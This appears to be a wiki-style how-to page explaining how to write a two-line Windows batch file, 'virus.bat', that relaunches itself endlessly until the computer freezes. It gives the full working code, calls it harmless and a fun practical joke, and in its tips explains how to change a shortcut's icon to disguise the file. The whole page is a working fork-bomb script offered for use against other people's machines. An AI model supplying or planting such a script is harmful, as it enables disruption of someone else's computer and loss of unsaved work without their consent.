This will show you how to make a harmless virus, that freezes the computer until it is turned off.

[edit] Steps

Open Notepad or other word processor.
Type on the first line, "start virus.bat," then, on the next line, type virus.bat So it should look like this:
start virus.bat
virus.bat
Save the file as "virus.bat" and select all files. You can change "virus" to anything you want.
Open the file and it will open so many pointless windows, your computer will freeze.
Shut down your computer and it will return to normal.

[edit] Tips

To change the icon of ANY short cut right click on it and select properties. Next click change icon. It might give you a error but ignore it and continue. Then select the one you want and press okay/apply.
This could be a fun practical joke.
You can change the filename from virus to anything you want, just as long as you change every part of the file where it says virus to your new name.